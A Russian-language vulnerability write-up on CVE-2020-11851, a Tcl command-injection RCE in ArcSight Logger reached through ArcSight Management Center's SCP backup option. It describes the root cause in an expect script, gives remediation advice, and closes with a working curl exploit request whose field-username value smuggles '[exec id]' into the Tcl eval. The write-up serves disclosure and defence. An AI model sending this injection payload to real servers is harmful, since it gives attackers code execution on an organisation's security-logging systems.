
Уязвимость удаленного выполнения кода в ArcSight Logger
Уязвимость удаленного выполнения кода в ArcSight Logger (через ArcSight Management Center)
https://nvd.nist.gov/vuln/detail/CVE-2020-11851
Описание уязвимостиArcSight Logger — это комплексное решение для управления журналами, которое снижает нагрузку, связанную с соблюдением нормативных требований, и ускоряет криминалистическое исследование для специалистов по безопасности, объединяя и храня журналы машинных данных из разных источников в организации, а также обеспечивая быстрый поиск и составление отчетов по этим данным.
ArcSight Management Center (ArcMC) — это централизованный центр управления безопасностью, который через единый интерфейс управляет крупными развертываниями решений ArcSight, таких как ArcSight Logger, ArcSight SmartConnectors (Connectors), ArcSight FlexConnectors и ArcSight Connector Appliance (ConApp).
Уязвимость может быть использована через функциональность резервного копирования ArcSight Management Center (версия: 2.7.1.2065.0). Эта опция резервного копирования работает с помощью «expect»-скриптов ArcSight Logger, которые используют язык Tool Command Language (Tcl). Уязвимость позволяет злоумышленникам выполнять произвольные команды Tcl. Данная уязвимость затрагивает продукт Micro Focus ArcSight Logger всех версий до 7.1.1.
ЗаключениеСервер, на котором работает уязвимое программное обеспечение, может быть скомпрометирован злоумышленниками через RCE-уязвимость и стать плацдармом для дальнейших атак на серверы организации, что может привести к серьезному нарушению безопасности. Эта уязвимость может привести к потере, повреждению или раскрытию данных неавторизованным сторонам, утрате подотчетности или отказу в доступе.
РекомендацииРекомендуется проверить лучшие практики безопасности Tcl для «expect»-скриптов. Как правило, использование фигурных скобок в eval безопасно, как показано ниже:
eval puts $exploit ;# уязвимо
eval "puts $exploit" ;# уязвимо
eval {puts $exploit} ;# безопасно
Дополнительную информацию можно найти здесь: https://wiki.tcl-lang.org/page/Injection+Attack
В этом разделе описаны векторы внедрения команд, которые можно использовать для обнаружения уязвимости в ArcSight Logger. Следующие заголовки можно использовать для воспроизведения шагов атаки.
Изучение уязвимой опции резервного копированияНа вкладке администрирования есть опция резервного копирования.

Как мы видим, можно настроить удаленный сервер резервного копирования с помощью протокола SCP. После нажатия кнопки «Save» я отладил серверные процессы с помощью инструмента «pspy», который можно скачать здесь: https://github.com/DominicBreuker/pspy/releases
Отладка сервера и анализ первопричинПосле сохранения конфигурации резервного копирования я обнаружил, что приложение использует bash-скрипт для проверки SSH-сервера, как показано ниже (обратите внимание на PID 95427):

Вот более подробная команда (PID 95427) для объяснения:
sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory
Давайте посмотрим на содержимое «runexpect.sh» и «scp.expect.dir.backup1» (expect-скрипт) перед объяснением логики «runexpect.sh».
Вот содержимое «runexpect.sh»:
#!/bin/sh
# Set LD_LIBRARY_PATH
export LD_LIBRARY_PATH=$1
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH
shift
echo "Running command: $*"
$*
exit $?
А вот содержимое expect-скрипта с именем «scp.expect.dir.backup1»:
set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
eval spawn ssh -p $port $host test -d $dir && echo exists //Уязвимость начинается здесь
expect "*(yes/no)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"
Как мы видим, «runexpect.sh» устанавливает переменную окружения (LD_LIBRARY_PATH), а затем выполняет бинарный файл «expect» с помощью expect-скрипта «scp.expect.dir.backup1». Этот expect-скрипт получает 4 аргумента для использования их в команде «ssh».
Фактическая уязвимость начинается на 5-й строке скрипта с именем «scp.expect.dir.backup1». Как мы упоминали ранее, без фигурных скобок пользовательские данные могут быть очень опасны в Tcl-скриптах.
Получение выполнения кодаПоскольку эта уязвимость выполнения кода полностью слепая, я использовал простейший способ для демонстрации выполнения. Я использовал инструмент «pspy» для отладки процессов и иллюстрации произвольного выполнения кода путем отправки вредоносного HTTP-запроса.
Вот логика, которую я хотел, чтобы expect-скрипт выполнил:
eval spawn ssh –p [exec id] test –d fakehostname && echo exists
[exec : это argv1
id] : это argv2
fakehostname : это argv3
Ожидаемое поведение будет таким:
eval spawn ssh –p результат_команды_id test –d fakehostname && echo exists
# Потому что [ ] в Tcl выглядит как `` в bash. Для получения дополнительной информации о синтаксисе Tcl посетите https://wiki.tcl-lang.org/welcome
Давайте объясним, как этого добиться. Если я вставлю пробелы среди «строк» в параметре «field-username» соответствующего HTTP-запроса, они непреднамеренно будут переданы в expect-скрипт, так как скрипт не проверяет количество аргументов. Это означает, что я могу внедрить [exec в качестве номера порта и id] в качестве имени пользователя. Обычно я не мог внедрить параметр номера порта соответствующего HTTP-запроса из-за проверки ввода (должен содержать только цифры).
После отправки приведенного ниже HTTP-запроса я успешно выполнил команду и вывел ее результат с помощью инструмента «pspy».


Вот соответствующий CURL-запрос, который я использовал для эксплуатации уязвимости (пожалуйста, измените токены, связанные с сессией, и цель):
curl -i -s -k -X $'POST' \
-H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
-b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
--data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
$'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'